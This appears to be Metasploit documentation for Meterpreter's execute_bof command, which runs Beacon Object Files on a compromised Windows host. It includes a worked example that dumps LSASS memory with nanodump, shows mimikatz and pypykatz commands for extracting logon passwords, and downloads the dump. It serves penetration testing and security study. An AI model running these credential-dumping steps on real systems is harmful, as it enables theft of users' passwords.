This guide outlines how to use the Meterpreter `execute_bof` command as provided by the `bofloader` extension. It allows a Meterpreter session to execute "Beacon Object Files" or BOF files for short. A BOF is a [Common Object File Format][1] (COFF) executable file with an API of standard functions defined in [beacon.h][2]. The `bofloader` extension is only available for the Windows native Meterpreter, i.e. it is unavailable in the Java Meterpreter even when running on the Windows platform. # Execution Environment **Warning:** The execution environment is shared with the Meterpreter process. If there is an exception or the BOF crashes, the Meterpreter session will die. It is suggested that users invoke this functionality through a dedicated session to avoid losing access altogether. The loader and execution environment are provided by [trustedsec/COFFLoader][3]. The extension is therefore subject to the same limitations. The following functions are unavailable: * `BeaconDataPtr` * `BeaconUseToken`1 * `BeaconRevertToken`1 * `BeaconIsAdmin` * `BeaconInjectProcess` * `BeaconInjectTemporaryProcess` 1 The token functions are defined and present, but will only effect the execution of the BOF and not the Meterpreter runtime environment. Currently, there is only one output stream. All output data processed by `BeaconOutput` and `BeaconPrintf` is combined into that stream. BOFs should not use this for outputting binary data. # Usage The `bofloader` extension provides exactly one command, through which all of the provided functionality is accessed. `execute_bof [Options] -- [BOF Arguments]` * `-c` / `--compile` -- Compile the input file (requires mingw). * `-e` / `--entry` -- The entry point (default: `go`). * `-f` / `--format-string` -- Argument format-string. See details below. ## Compile The compile option will use a local mingw instance to compile the input file into a COFF file for execution. The standard [beacon.h][2] file will be in the include path automatically. In this case, the input file is treated as a C source file instead of compiled data. ## Entry Point Once loaded the loader will call the BOF entry point. By default, this value is `go`. The entry point option can change it to another valid function to call instead. ## Argument Format-String The `execute_bof` command is capable of serializing arguments to be sent to the BOF for execution. The user must define the data type of each argument that the BOF file expecting to see. This information would come from either reading the BOF's documentation or source code. **Incorrectly specifying the arguments or omitting them entirely can result in the BOF crashing and the Meterpreter session dying.** BOF argument types are defined in the format string argument with `-f` / `--format-string`. The following table describes each of the types. | Type | Description | Unpack With (C) | | --------|-----------------------------------------------------------------|-------------------------------| | b | binary data (e.g. 01020304, file:/path/to/file.bin)1 | BeaconDataExtract | | i | 32-bit integer (e.g. 0x1234, 5678)2 | BeaconDataInt | | s | 16-bit integer (e.g. 0x1234, 5678)2 | BeaconDataShort | | z | null-terminated utf-8 string | BeaconDataExtract | | Z | null-terminated utf-16 string | (wchar_t *)BeaconDataExtract | 1 Binary data arguments are specified as either a stream of hex characters or as the path to a file local to the Metasploit Framework instance. In the case of a file path, it must be prefixed with `file:`. 2 Integer arguments are specified as either decimal or hexadecimal literals. Unknown arguments are treated as BOF arguments. Additionally, any arguments after the `--` terminator are explicitly treated as BOF arguments. Using the terminator allows ambiguous arguments to such as `--help` to be forward to the BOF instead of being processed locally. The number of BOF arguments to be forward must equal number of characters in the argument format string. # Usage Examples Executing [dir][4], passing the path argument and number of sub-directories to list. ```msf meterpreter > execute_bof CS-Situational-Awareness-BOF/SA/dir/dir.x64.o --format-string Zs C:\\ 0 Contents of C:\*: 08/05/2022 15:17 $Recycle.Bin 08/05/2022 15:16 Documents and Settings 09/22/2022 08:35 1342177280 pagefile.sys 08/05/2022 16:48 PerfLogs 09/08/2022 12:51 Program Files 09/15/2018 05:06 Program Files (x86) 08/05/2022 15:26 ProgramData 09/07/2022 10:24 Python27 08/05/2022 15:16 Recovery 08/05/2022 15:40 System Volume Information 08/05/2022 15:16 Users 09/01/2022 13:49 Windows 1342177280 Total File Size for 1 File(s) 11 Dir(s) meterpreter > ``` Executing [nanodump][5]. First the PID of LSASS is found, then the argument string is constructed. The output must be written to disk. Once completed, the dump file can be downloaded from the remote host. ```msf meterpreter > ps lsass Filtering on 'lsass' Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 712 556 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe meterpreter > execute_bof nanodump.x64.o --format-string iziiiiiiiiziiiz 712 nanodump.dmp 1 1 0 0 0 0 0 0 "" 0 0 0 "" Done, to download the dump run: download nanodump.dmp to get the secretz run: python3 -m pypykatz lsa minidump nanodump.dmp mimikatz.exe "sekurlsa::minidump nanodump.dmp" "sekurlsa::logonPasswords full" exit meterpreter > download nanodump.dmp [*] Downloading: nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 1.00 MiB of 11.56 MiB (8.65%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 2.00 MiB of 11.56 MiB (17.31%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 3.00 MiB of 11.56 MiB (25.96%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 4.00 MiB of 11.56 MiB (34.62%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 5.00 MiB of 11.56 MiB (43.27%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 6.00 MiB of 11.56 MiB (51.92%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 7.00 MiB of 11.56 MiB (60.58%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 8.00 MiB of 11.56 MiB (69.23%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 9.00 MiB of 11.56 MiB (77.89%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 10.00 MiB of 11.56 MiB (86.54%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 11.00 MiB of 11.56 MiB (95.2%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] Downloaded 11.56 MiB of 11.56 MiB (100.0%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp [*] download : nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp meterpreter > ``` # References * [hstechdocs.helpsystems.com/manuals/cobaltstrike][6] for Cobalt Strike's BOF documentation * [beacon.h][2] source code for the BOF API * [TrustedSec/COFFLoader][3] for the source code of the loader * [trustedsec/CS-Situational-Awareness-BOFF][7] for a collection of useful BOFs [1]: https://en.wikipedia.org/wiki/COFF [2]: https://github.com/Cobalt-Strike/bof_template/blob/4a5009fc4adeb35bb1b1887da478280f12f9693a/beacon.h [3]: https://github.com/TrustedSec/COFFLoader [4]: https://github.com/trustedsec/CS-Situational-Awareness-BOF/tree/master/src/SA/dir [5]: https://github.com/helpsystems/nanodump [6]: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm [7]: https://github.com/trustedsec/CS-Situational-Awareness-BOF